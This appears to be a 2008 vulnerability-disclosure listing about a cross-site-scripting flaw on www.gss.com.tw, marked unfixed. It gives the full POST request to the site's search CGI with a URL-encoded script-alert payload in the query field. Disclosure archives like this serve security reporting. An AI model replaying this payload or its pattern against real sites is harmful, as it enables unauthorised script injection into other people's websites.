www.gss.com.tw cross-site-scripting (XSS) Vulnerability

Advertisements:

Security researcher Sealion, has submitted on 26/05/2008 a cross-site-scripting (XSS) vulnerability affecting www.gss.com.tw, which at the time of submission ranked 2155956 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 10/07/2008. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail.

Date submitted: 26/05/2008

Date published: 10/07/2008

Fixed? Mail us!

Status:

UNFIXED

Author: Sealion

Domain: www.gss.com.tw

Category: XSS

Pagerank: 2155956

URL: http://www.gss.com.tw/search-cgi/query_run.exe

POST: index_id=3CF8C172_0181015&user=IDQUEST&sbf=0&class_name=&domain=&thesaurus=off&match=exact&chinese=o ff&h2foption=0&all_file=on&part_file=off&begin_year=1990&begin_month=1&begin_day=1&end_year=2030&end _month=12&end_day=31&begin_file=*&end_file=*&filenamesearch=none&sort=score&no_rec=10&order=desc&mat ch_type=MATCH_LINE&output=Standard+Output&search_no=00000&reltermoption=1&similar_keyword_option=on& main_page=----MAIN_PAGE---&query=%3Cscript%3Ealert%28%22XSS%21%21%22%29%3B%3C%2Fscript%3E&send_btn=% B7j%B4M

Click here to view the mirror

XSS Attacks
Cross Site Scripting Exploits and Defense

Website Fraud Loss Prevention